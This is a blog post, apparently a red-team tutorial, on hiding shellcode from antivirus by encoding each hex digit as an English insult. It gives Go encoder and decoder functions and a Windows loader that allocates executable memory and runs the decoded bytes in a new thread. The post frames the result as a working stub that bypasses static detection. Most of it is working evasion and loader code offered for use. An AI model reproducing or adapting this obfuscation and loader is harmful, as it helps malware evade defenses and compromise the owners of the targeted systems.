🐚Unusual Shellcode Encoding: Insult-based Shellcode Obfuscation
As decribed before, obfuscating shellcode is an essential part of bypassing detection mechanisms and crafting creative payloads. In this post, we’ll explore a whimsical and unusual encoding technique: representing shellcode as insults. Not only does it obscure the payload, but it also adds a humorous twist to the encoding process. We’ll cover how to encode, decode, and execute the shellcode in memory. The goal of this article is primary to make understand you that you need to be CREATIVE in your encoding.
1: Encoding Shellcode into Insults
Every byte of shellcode can be represented as two hexadecimal characters (e.g., 0xFC
is FC
). To encode this, we map each hexadecimal digit to a specific insult, creating a string of human-readable, insult-laden text.
Encoding Process
Here’s how the encoding works:
Hexadecimal Conversion: Each byte of shellcode is converted into two hexadecimal characters.
Insult Mapping: Each hex character is replaced with its corresponding insult.
The Insult Mapping
First, we need to define our corespondance table, here’s the correspondance table from hexadecimal digits to insults:
0
Nitwit
8
Dolt
1
Buffoon
9
Lummox
2
Nincompoop
A
Simpleton
3
Dunce
B
Clod
4
Cretin
C
Moron
5
Oaf
D
Fool
6
Dimwit
E
Imbecile
7
Blockhead
F
Sluggard
Or in his code version:
var insults = map[byte]string{
'0': "Nitwit",
'1': "Buffoon",
'2': "Nincompoop",
'3': "Dunce",
'4': "Cretin",
'5': "Oaf",
'6': "Dimwit",
'7': "Blockhead",
'8': "Dolt",
'9': "Lummox",
'a': "Simpleton",
'b': "Clod",
'c': "Moron",
'd': "Fool",
'e': "Imbecile",
'f': "Sluggard",
}
(Don't blame me for the poor inspiration, i'm french so chatgpt gave me 16 english insults)
Encoding Implementation
Here’s the Go code that performs the shellcode to insults encoding:
func shellcodeToInsults(shellcode []byte) string {
var insultCode []string
for _, b := range shellcode {
// Convert each byte to hexadecimal (more simple for avoiding type conflicts)
hexString := fmt.Sprintf("%02x", b)
// Map each hex character to its corresponding insult
for _, hexChar := range hexString {
insult := insults[byte(hexChar)]
insultCode = append(insultCode, fmt.Sprintf("\"%s\"", insult))
}
}
// return as a go array
return "insultCode := []string{" + strings.Join(insultCode, ",") + "}"
}
with this, an example shellcode like:
shellcode := []byte{0xFC, 0x48, 0x81}
will return like this:
insultCode := []string{"Sluggard", "Moron", "Dunce", "Blockhead", "Nitwit", "Cretin",}
the full code is available here.
2: Decoding Insults Back to Shellcode
Encoding is fun, but for the shellcode to be useful, it must be decoded back into its binary form.
Decoding Process
The decoding process involves:
Reverse Mapping: Each insult is mapped back to its corresponding hexadecimal character.
Byte Reconstruction: Pairs of hex characters are combined to form bytes.
Decoding Implementation
Here’s the code to decode the insults back to shellcode:
func insultsToShellcode(insultCode []string) []byte {
var shellcode []byte
for i := 0; i < len(insultCode); i += 2 {
// Convert two insults to one byte
highNibble := insultsToHex[insultCode[i]]
lowNibble := insultsToHex[insultCode[i+1]]
// Combine the nibbles into a byte
byteValue := (hexToByte(highNibble) << 4) | hexToByte(lowNibble)
shellcode = append(shellcode, byteValue)
}
return shellcode
}
So if we keep the previous logic, this example input:
insultCode := []string{"Sluggard", "Moron", "Dunce", "Blockhead", "Nitwit", "Cretin",}
Will become this:
[]byte{0xFC, 0x48, 0x81}
3. Run the shellcode
For the rest of the execution flow, you will just need to execute the shellcode in memory like defined here.
/ Allocate memory using VirtualAlloc
addr, _, err := virtualAlloc.Call(
0,
uintptr(len(shellcode)),
windows.MEM_COMMIT|windows.MEM_RESERVE,
windows.PAGE_EXECUTE_READWRITE,
)
if addr == 0 {
fmt.Printf("VirtualAlloc failed: %v\n", err)
return
}
fmt.Printf("Memory allocated at: %v\n", addr)
// Copy the shellcode into the allocated memory
_, _, err = rtlMoveMemory.Call(addr, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
if err != syscall.Errno(0) {
fmt.Printf("RtlMoveMemory failed: %v\n", err)
return
}
// Create a new thread to execute the shellcode
threadHandle, _, err := createThread.Call(
0, 0, addr, 0, 0, 0,
)
the full code is available here.
3. Conclusion
After these operations, you will finish with a fully functionnal stub that store his payload as a defined insult, and so on bypass static detections while keeping his excepted behavior.

Last updated